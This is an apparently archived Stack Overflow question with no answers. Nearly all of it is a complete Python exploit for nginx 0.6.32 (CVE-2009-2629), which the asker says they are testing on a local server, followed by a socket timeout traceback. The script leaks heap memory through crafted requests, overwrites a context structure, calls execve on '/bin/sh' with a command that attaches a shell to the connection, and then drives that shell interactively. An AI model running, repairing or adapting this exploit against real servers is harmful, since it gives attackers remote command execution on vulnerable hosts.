Operation timed out,python,CVE-2009-2629

0

In my opinion, it just has a default timeout, so it turns off after 860 seconds. This is my code:

#
# exploit by brainsmoke
#
# nginx 0.6.32-2 i386 (Debian) 
#
# Based on Aaron Conole's exploit: http://www.exploit-db.com/exploits/14830/
#

import sys, socket, select, time

host, port, = sys.argv[1:3]
uri_data, pool_addr = (sys.argv+[None, None])[3:5]

if uri_data != None:
    uri_data = int(uri_data, 16)
if pool_addr != None:
    pool_addr = int(pool_addr, 16)

port = int(port)

char_encoding_ctx_index = 29
binbase=0x08048000
#binend=0x080b4000+0x0a000 # address for version with debugging symbols
binend=0x080b5000+0x0a000 # address for the official debian package (0.6.32-2)
magic_marker=binbase+0x60df9
r_uri_data_offset = 0x1ec
r_pool_offset = 0x2c
r_signature = 'HTTP'

def tcp_conn():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect( (host, port) )
    return s

def le(addr):
    return ''.join( chr((addr>>(x*8)) & 0xff ) for x in range(4) )

def le_to_num(addr):
    return sum( ord(x)<<(i*8) for i,x in enumerate(addr) )

def quoted_little_endian(addr):
    return ''.join( '%%%02x' % ( (addr>>(x*8)) & 0xff ) for x in range(4) )

def read_data(s):
    return s.makefile().read()

def do_exploit(ctx_pointers, payload='Y'*200, headers=[]):
    padding='X'*46
    request='\r\n'.join( [ 'GET /%3f/../' + padding + ctx_pointers + payload + ' HTTP/1.0' ] +
                         headers +
                         [ '\r\n' ] )
    s = tcp_conn()
    s.send(request)
    return s

def create_ctx_pointer_array(i, pointer):
    return '\0\0\0\0'*i + quoted_little_endian(pointer) + '\0\0\0\0'*(35-i)

def report_ctx_pointer_crashes(pointer, potential_chrashes=(27, 29, 30, 33, 34)):
    crashes = []
    for i in potential_chrashes:
        ctx_pointers = create_ctx_pointer_array(i, pointer)
        if read_data(do_exploit(ctx_pointers)) == '':
            crashes.append(i)
    return tuple(crashes)

def guess_mmap_start_range(start, maximum, step):
    for i in range(start, maximum, step):
        #crashes = report_ctx_pointer_crashes(i)
        #if crashes != (27, 29, 30, 33, 34):
        if report_ctx_pointer_crashes(i, (29,) ) == ():
            return i
    return maximum

def guess_mmap_start(start, step, offset_range=(0,)):
    cur = 0xffffffff
    for off in offset_range:
        cur = guess_mmap_start_range(start+off, cur+off, step) - off
    return cur

def find_heap():
    heap_addr = guess_mmap_start(binend, 0x10000);
    return guess_mmap_start(max(heap_addr-0x40000,binend), 0x1000, (0,4,8,12,16) );

def do_pointer_checks():
    if report_ctx_pointer_crashes(0x00000000) != ():
        print 'ctx null pointers do not chrash nginx as expected'
        sys.exit(1)

    if report_ctx_pointer_crashes(0x00000001) != ( 27,  29,  30,  33,  34 ):
        print 'ctx protected memory pointers do not chrash nginx as expected'
        sys.exit(1)

    if report_ctx_pointer_crashes(binbase+4) != ( 29,  30,  33,  34 ):
        print 'ELF header pointer did not chrash nginx as expected'
        sys.exit(1)

    if report_ctx_pointer_crashes(binbase+8) != ( 30,  33,  34 ):
        print 'ELF header pointer did not chrash nginx as expected'
        sys.exit(1)

def print_table(table):
    for i in range(16):
        for j in range(16):
            x = table[i*16+j]
            if x:
                print "%02x" % (x,),
            else:
                print "??",
        print

body_orig=None

def get_lookup_table_info(table_addr, payload):

    # overwrite the character encoding filter with a pointer to a pointer
    # to a 256 byte region, the error page will be mapped using that table
    # by faking the MSIE User-Agent, we can get nginx to produce an extra '!' (0x21),

    global body_orig

    if body_orig == None:
        ctx_pointers = create_ctx_pointer_array(0,0)
        http_response = read_data(do_exploit(ctx_pointers,
                                                 payload=payload,
                                                 headers=['User-Agent: MSIE 4.XX']))
        body_orig = http_response.partition('Connection: close\r\n\r\n')[2]

    ctx_pointers = create_ctx_pointer_array(char_encoding_ctx_index, table_addr)
    http_response = read_data(do_exploit(ctx_pointers,
                                         payload=payload,
                                         headers=['User-Agent: MSIE 4.XX']))

    body_trans = http_response.partition('Connection: close\r\n\r\n')[2]

    read_data(do_exploit(create_ctx_pointer_array(33,0x1))) # erase char encoding 'table' by segv-ing

    table = [None]*256
    for o,t in zip(body_orig, body_trans):
        table[ord(o)] = ord(t)

    return table

cache_mem = {}
def put_cache(address, byteval):
    global cache_mem
    page = (address & ~0xfff)
    if page not in cache_mem:
        cache_mem[page] = [None]*0x1000
    cache_mem[page][address & 0xfff] = byteval

def get_cache(address):
    global cache_mem
    page = (address & ~0xfff)
    if page in cache_mem:
        return cache_mem[page][address & 0xfff]
    else:
        return None

def try_read_addr(address, buf_addr):
    payload=(quoted_little_endian(address-ord('0'))+'\0'*12)*128
    table=get_lookup_table_info(buf_addr, payload);
    values = table[ord('0'):ord('0')+4]
    print values
    if None in values:
        return None
    else:
        return sum( x<<(i*8) for i,x in enumerate(values) )

def memleak_fetch(address, buf_addr):
    base_addr = address-ord('0')
    payload=(quoted_little_endian(base_addr)+'\0'*12)*128
    table=get_lookup_table_info(buf_addr, payload)
    for i, c in enumerate(table):
        if c != None:
            put_cache(base_addr+i, chr(c))

def try_match_string(address, buf_addr, m):
    incomplete = False
    print time.clock()
    for i, c in enumerate(m):
        cache_c = get_cache(address+i)
        if cache_c == None:
            incomplete = True
        elif cache_c != c:
            return False

    if incomplete:
        memleak_fetch(address, buf_addr)
        return try_match_string(address, buf_addr, m)
    else:
        return True

def find_value(start, stop, value, buffer_addr, increment=4):
    for addr in range(start, stop,increment):
        if try_match_string(addr, buffer_addr, le(value)):
            return addr

def brute_buffer_range(start, end, increment):
    for addr in xrange(start, end, increment):
        if try_read_addr(magic_marker, addr) == le_to_num('200 '):
            return addr
        if try_read_addr(magic_marker, addr+8) == le_to_num('200 '):
            return addr+8
    return end

def brute_buffer(heap_addr):
    addr = brute_buffer_range(heap_addr+0x10000, heap_addr+0x50000, 0x400)
    addr = brute_buffer_range(addr-0x200, addr, 0x200)
    addr = brute_buffer_range(addr-0x100, addr, 0x100)
    addr = brute_buffer_range(addr-0x80, addr, 0x80)
    addr = brute_buffer_range(addr-0x40, addr, 0x40)
    addr = brute_buffer_range(addr-0x20, addr, 0x20)
    addr = brute_buffer_range(addr-0x10, addr, 0x10)
    return addr

#do_pointer_checks()

if uri_data != None:
    print "using buffer address: %x" % (uri_data,)

else:
    heap_addr = find_heap()
    print "check"
    print "guessed heap base address: %x" % (heap_addr,)
    print "check"
    uri_data = brute_buffer(heap_addr)
    print "guessed buffer address: %x" % (uri_data,)
    print "check"

    r_start = heap_addr
    r_uri_data = find_value(r_start+r_uri_data_offset, uri_data+0x100000, uri_data, uri_data, 0x4)
    r_addr = r_uri_data-r_uri_data_offset
    print '123'
    if try_match_string(r_addr, uri_data, r_signature):
        print "guessed (ngx_http_request_t*)r address: %x" % (r_addr,)
    else:
        print "no request header signature :-(("

if pool_addr != None:
    print "Using pool address: %x" % (pool_addr,)

else:
    pool_addr = try_read_addr(r_addr+r_pool_offset, uri_data)
    print "guessed pool address: %x" % (pool_addr,)

#
# Payload
#

jump1 = 0x0805ba93

# 805ba93:       8b 19                   mov    (%ecx),%ebx
# 805ba95:       c7 41 10 03 00 00 00    movl   $0x3,0x10(%ecx)    not important
# 805ba9c:       89 0c 24                mov    %ecx,(%esp)        not important
# 805ba9f:       ff 51 2c                call   *0x2c(%ecx)

jump2 = 0x08052267

# 8052267:       89 44 24 04             mov    %eax,0x4(%esp)
# 805226b:       89 1c 24                mov    %ebx,(%esp)
# 805226e:       ff 53 14                call   *0x14(%ebx)

plt_execve = 0x0804b274
jump3 = plt_execve
data_at_pointer_to_filename_14 = jump3

filename = '/bin/sh\0'          # 8 bytes
arg1 = '-c\0\0'                 # 4 bytes
arg2 = 'sh -l <&7 >&7 2>&7 6>&0 &\0'

payload = filename + arg1 + 'X'*8 + le(data_at_pointer_to_filename_14) + 'ARG0ARG1ARG2' + '\0'*4 + arg2

payload_addr = uri_data
filename_addr = payload_addr+payload.index(filename)
argv_addr = payload_addr+payload.index('ARG0')

payload = payload.replace('ARG0',le(payload_addr+payload.index(filename)))
payload = payload.replace('ARG1',le(payload_addr+payload.index(arg1)))
payload = payload.replace('ARG2',le(payload_addr+payload.index(arg2)))

data_at_ecx = filename_addr
data_at_eax = argv_addr
data_at_30_ecx = jump1
data_at_2c_ecx = jump2

ngx_output_chain_ctx = ''.join(quoted_little_endian(x) for x in (
    data_at_ecx, # buf
    0, # in
    0, # free
    0, # busy
    1, # sendfile
    0, # need_in_memory
    0, # need_in_temp
    pool_addr, #pool
    0, # allocated
    #bufs {
    1, # num
    32768, # size
    # }
    data_at_2c_ecx, # jump1
    data_at_30_ecx, # jump2
    data_at_eax,    # char *argv[]
))

ctx_addr = uri_data+len(payload)
payload = ''.join('%%%02x' % (ord(c),) for c in  payload ) + ngx_output_chain_ctx
print "Sending payload"

ctx_pointers = create_ctx_pointer_array(33, ctx_addr)
s = do_exploit(ctx_pointers, payload=payload)


sockfd = s.fileno()
infd = sys.stdin.fileno()
waitlist = [sockfd, infd]

time.sleep(.1)
s.send("id\n")

while len(waitlist) > 0:
    r,w,x = select.select(waitlist, [], [])
    if sockfd in r:
        rdata = s.recv(4096)
        if rdata == '':
            waitlist.remove(sockfd)
        sys.stdout.write(rdata)
        continue
    if infd in r:
        sdata = sys.stdin.readline()
        s.send(sdata)
        if sdata == '':
            s.shutdown(socket.SHUT_WR)
            waitlist.remove(infd)

s.close()

Hi, I recently decided to check the old exploit for nginx, raised my local server and so on, but the problem is that after 860 seconds of the function’s work, I get this error. This python is very old, so it’s very difficult for me to understand it. Help me please.

Traceback (most recent call last):
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 233, in <module>
    r_uri_data = find_value(r_start+r_uri_data_offset, uri_data+0x100000, uri_data, uri_data, 0x4)
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 197, in find_value
    if try_match_string(addr, buffer_addr, le(value)):
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 190, in try_match_string
    memleak_fetch(address, buf_addr)
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 174, in memleak_fetch
    table=get_lookup_table_info(buf_addr, payload)
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 137, in get_lookup_table_info
    read_data(do_exploit(create_ctx_pointer_array(33,0x1))) # erase char encoding 'table' by segv-ing
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 53, in do_exploit
    s = tcp_conn()
  File "C:\flck\pub-archive-master\proofs_by_construction\CVE-2009-2629-nginx-0.6.32\check.py", line 33, in tcp_conn
    s.connect( (host, port) )
  File "<string>", line 1, in connect
socket.error: (10060, 'Operation timed out')
python
python-2.7
python-requests
asked on Stack Overflow Mar 12, 2020 by asfasf asdgasg

0 Answers

Nobody has answered this question yet.


User contributions licensed under CC BY-SA 3.0